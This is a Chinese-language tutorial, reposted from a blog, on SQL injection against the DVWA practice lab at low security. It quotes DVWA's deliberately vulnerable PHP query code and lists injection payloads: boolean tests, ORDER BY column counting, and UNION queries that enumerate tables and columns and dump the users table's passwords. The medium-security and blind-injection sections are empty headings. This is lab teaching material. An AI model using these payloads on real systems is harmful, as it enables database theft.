DVWA漏洞演练平台 - SQL注入

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.

接下来你需要自行搭建DVWA的漏洞演练环境,我这里使用的系统环境是:Centos 7 + PHP 7 + MariaDB 5.5 + DVWA 1.10

 

低安全级别演示

<?php
if( isset($_REQUEST [ 'Submit' ])){
    // 根据ID号取出相应的字段
    $id = $_REQUEST[ 'id' ];
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    // 循环获取返回结果,并将其打印到屏幕上
    $num = mysql_numrows( $result ); 
    $i = 0;
    while( $i < $num ) {
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        $i++;
    }
    mysql_close();
}
?>

上面的代码就是低安全级别的核心代码了,观察后发现第5行,在查询语句的构建中并没有检查$id参数是否合法,而是直接带入到了数据库中进行了查询,很明显这里存在SQL注入漏洞可以直接利用.

当我们在输入框中输入1的时候,PHP解释器将会把 $id 替换成 1 ,实际上后台执行的SQL语句如下:

SELECT first_name, last_name FROM users WHERE user_id = '1';

由于PHP代码中并没有对 $id 参数进行合法化的过滤,导致我们可以巧妙地使用单引号完成SQL语句的闭合,并通过使用and,or,union 等命令拼接构建好的恶意SQL并带入数据库执行,如下我们可以这样构建一条具有闭合功能的SQL语句:

user_id = '$id' ----> $id = '1' and '1'='1' ---->  最终语句为: 1' and '1'='1

 

判断注入点:1.首先输入and 1=1 返回了结果,输入and 1=0 返回空,说明存在注入点。

 

判断字段数: 使用order by 判断字段数,输入order by 1显示正常,但输入order by 3 显示则错误,说明只有两个字段。

 

获取数据库敏感信息:

 

读取主机敏感文件:

 

获取数据库中的表:  1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

获取指定表中的字段: 0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

 

脱库: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

 

中安全级别演示

 

 

 

 

 

 

 

 

 

SQL盲注的演示

转载于:https://www.cnblogs.com/LyShark/p/11294000.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值